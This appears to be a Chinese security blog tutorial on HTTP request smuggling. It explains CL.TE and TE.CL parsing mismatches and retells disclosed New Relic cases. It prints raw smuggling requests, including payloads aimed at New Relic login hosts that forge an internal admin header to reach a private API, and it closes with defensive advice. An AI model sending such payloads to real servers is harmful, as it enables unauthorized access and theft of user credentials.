挖洞经验 | HTTP请求夹带攻击技术(Request Smuggling )的具体原理和应用实例
字数 1550 2025-08-18 11:39:00
HTTP请求夹带攻击(Request Smuggling)技术详解
1. 概述
HTTP请求夹带攻击(Request Smuggling)是一种通过构造特殊结构的HTTP请求,干扰网站服务器对请求的处理,从而绕过安全控制、获取敏感数据的攻击技术。这种漏洞本质上非常危险,攻击者可以利用它来危及服务器应用的注册用户。
2. 历史背景
- 最早于2005年被发现,但长期被忽视
- PortSwigger安全主管James Kettle(@albinowax)重新发现并推广了该技术
- 在Black Hat USA上分享了"HTTP Desync Attacks: Request Smuggling Reborn"
- PortSwigger仅测试了约5%的众测网站就发现了漏洞,获得了$70k赏金
3. 产生原理
3.1 现代Web架构
现代Web应用通常采用多层架构:
- 前端服务器(负载均衡器/反向代理)
- 后端服务器(处理应用逻辑)
前端服务器通过相同的后端网络链路传输多个请求,以提高效率和性能。
3.2 关键问题
HTTP规范提供了两种指定请求结束位置的方式:
-
Content-Length:以字节为单位指定消息体长度
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling -
Transfer-Encoding:使用分块编码(Chunked Encode)
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0
当两种方法同时出现在一个请求中时,规范要求忽略Content-Length标头。但在多服务器环境中:
- 某些服务器不支持Transfer-Encoding
- 模糊构造的标头可能导致不同服务器解析不一致
4. 攻击类型
4.1 CL.TE漏洞
特征:前端使用Content-Length,后端使用Transfer-Encoding
攻击示例:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked
0
SMUGGLED
解析过程:
- 前端按Content-Length(6字节)处理,转发整个请求
- 后端按Transfer-Encoding处理,遇到0数据块终止
- "SMUGGLED"被当作下一个请求的开始
4.2 TE.CL漏洞
特征:前端使用Transfer-Encoding,后端使用Content-Length
攻击示例:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
解析过程:
- 前端按Transfer-Encoding处理完整请求
- 后端按Content-Length(3字节)处理,只读取"8\r\n"
- 剩余部分被当作下一个请求
4.3 TE.TE漏洞
特征:前后端都支持Transfer-Encoding,但可通过模糊构造标头诱导不同解析
5. 实际案例分析
5.1 New Relic内部信息泄露
环境:
- 前端:Golang代理(使用Content-Length)
- 后端:Nginx(使用Transfer-Encoding)
- 类型:CL-TE漏洞
攻击步骤:
-
构造特殊请求:
POST / HTTP/1.1 Host: login.newrelic.com Content-Length: 142 Transfer-Encoding: chunked Transfer-Encoding: x POST /login HTTP/1.1 Host: login.newrelic.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 login[email]=asdf -
前端按Content-Length处理,后端按Transfer-Encoding处理
-
获取包含敏感信息的响应:
X-Forwarded-For: 81.139.39.150 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external -
通过添加特定头(如Service-Gateway-Is-Newrelic-Admin)提升权限
5.2 New Relic登录密码窃取
原理:通过请求毒化,使受害者被重定向到恶意站点或注入keylogger
PoC关键代码:
POST /login HTTP/1.1
Host: staging-login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow
POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6
x=123GET...
6. 防御措施
-
前端服务器:
- 禁用后端连接重用
- 使用HTTP/2终端到终端
- 规范化模糊请求
-
后端服务器:
- 拒绝模糊请求
- 确保相同连接上的所有请求使用相同编码
-
通用建议:
- 对所有流量进行严格验证
- 在反向代理和服务器链中保持HTTP解析一致
- 定期进行安全测试
7. 总结
HTTP请求夹带攻击是一种利用服务器间HTTP解析差异的高级攻击技术,能够绕过安全控制、窃取敏感信息甚至完全接管系统。防御的关键在于确保所有服务器组件对HTTP请求的解析保持一致,并对模糊请求进行严格处理。